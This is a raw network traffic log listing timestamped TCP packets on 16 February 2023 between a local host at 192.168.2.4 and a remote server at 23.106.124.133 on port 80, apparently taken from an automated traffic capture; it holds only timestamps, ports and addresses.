Feb 16, 2023 10:01:26.869997025 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870021105 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870031118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870064020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870071888 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870109081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870141983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870172024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870192051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870215893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870244026 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870244026 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870273113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870284081 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870301008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870327950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870338917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870354891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870381117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870408058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870425940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870434046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870459080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870462894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870493889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870502949 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870521069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870544910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870569944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870584011 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870595932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870619059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870623112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870651960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870665073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870678902 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870717049 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870723963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870753050 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870780945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870806932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870834112 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870836973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870862961 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870866060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870896101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870909929 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870923996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870949030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870973110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.870995045 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.870997906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871026039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871037960 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871054888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871067047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871081114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871105909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871129990 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871149063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871155977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871180058 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871185064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871212006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871237993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871248960 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871263981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871290922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871316910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871323109 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871336937 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871344090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871370077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871392012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871396065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871423960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871433973 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871450901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871476889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871501923 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871514082 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871530056 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871551991 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871556044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871582985 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871598005 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871608019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871634960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871643066 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871661901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871686935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871715069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871741056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871742010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871764898 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871777058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871802092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871828079 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871830940 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871854067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871864080 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.871885061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871911049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.871948957 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.878649950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.878726006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:26.878848076 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:26.948448896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.046475887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046525955 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046552896 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046578884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046601057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046622992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046647072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046670914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046720982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046741009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.046750069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046777010 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046803951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046813965 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.046830893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046833992 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.046858072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046880960 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.046883106 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046912909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046941996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046966076 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.046967983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.046994925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047005892 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047022104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047043085 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047048092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047076941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047096014 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047103882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047132969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047142982 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047159910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047178984 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047187090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047216892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047243118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047269106 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047278881 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047295094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047312021 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047323942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047352076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047358990 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047379971 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047406912 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047409058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047436953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047463894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047481060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047488928 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047514915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047517061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047545910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047573090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047589064 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047600031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047626972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047651052 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047651052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047679901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047682047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047708988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047728062 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047736883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047765017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047791004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047816038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047841072 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047849894 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047869921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047899008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047911882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047911882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047926903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047946930 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.047957897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.047986031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048010111 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048029900 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048037052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048063993 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048063993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048093081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048110962 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048120975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048149109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048175097 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048187017 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048202038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048229933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048247099 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048255920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048281908 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048283100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048310995 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048336029 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048336983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048366070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048391104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048413992 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048418045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048444033 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048445940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048472881 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048485994 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048500061 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048527956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048553944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048573017 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048580885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048604965 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.048608065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048635960 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.048650980 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.053350925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.053395987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.053509951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.069134951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.072427988 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225514889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225559950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225584984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225611925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225635052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225657940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225682974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225692987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225707054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225733042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225756884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225773096 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225780964 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225805044 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225810051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225831985 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225836992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225863934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225864887 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225889921 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225897074 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225914001 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225920916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225934029 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225950003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225963116 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.225976944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.225992918 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.226002932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.226013899 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.226031065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.226041079 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.226058006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.226068020 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.226084948 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.226094007 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.226113081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.226138115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.226150990 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.226162910 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.226164103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.226191044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.226212025 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.226246119 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.229310036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.229355097 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.229382038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.229460001 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.229523897 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.400845051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.400892973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.400918961 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.400943041 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.400965929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.400988102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401012897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401036978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401061058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401086092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401107073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401107073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401112080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401139021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401160002 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401160002 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401168108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401196003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401220083 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401242018 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401242018 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401246071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401273012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401298046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401310921 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401310921 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401325941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401352882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401380062 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401380062 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401384115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401415110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.401437998 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.401437998 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.403927088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.403965950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.403990030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.404086113 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.404086113 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.404161930 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.404161930 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576035023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576081038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576103926 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576129913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576153040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576167107 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576176882 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576203108 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576227903 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576253891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576281071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576286077 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576286077 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576313972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576340914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576353073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576353073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576368093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576395988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576411009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576411009 CET	49698	80	192.168.2.4	23.106.124.133
